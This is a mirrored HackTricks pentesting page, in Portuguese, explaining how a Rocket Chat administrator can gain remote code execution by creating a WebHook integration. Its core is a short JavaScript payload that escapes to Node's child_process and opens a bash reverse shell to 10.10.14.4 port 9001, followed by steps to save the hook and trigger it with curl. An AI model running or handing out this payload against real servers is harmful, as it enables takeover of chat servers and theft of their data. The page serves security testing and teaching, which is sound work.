mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
37 lines
1.5 KiB
Markdown
37 lines
1.5 KiB
Markdown
# Rocket Chat
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## RCE
|
|
|
|
Se você for administrador dentro do Rocket Chat, pode obter RCE.
|
|
|
|
- Vá para **`Integrations`** e selecione **`New Integration`** e escolha qualquer um: **`Incoming WebHook`** ou **`Outgoing WebHook`**.
|
|
- `/admin/integrations/incoming`
|
|
|
|
<figure><img src="../../images/image (266).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- De acordo com a [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), ambos usam ES2015 / ECMAScript 6 ([basicamente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) para processar os dados. Então, vamos obter um [rev shell para javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) como:
|
|
```javascript
|
|
const require = console.log.constructor("return process.mainModule.require")()
|
|
const { exec } = require("child_process")
|
|
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|
```
|
|
- Configure o WebHook (o canal e a postagem como nome de usuário devem existir):
|
|
|
|
<figure><img src="../../images/image (905).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- Configure o script do WebHook:
|
|
|
|
<figure><img src="../../images/image (572).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- Salve as alterações
|
|
- Obtenha a URL do WebHook gerada:
|
|
|
|
<figure><img src="../../images/image (937).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
- Chame-o com curl e você deve receber o rev shell
|
|
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|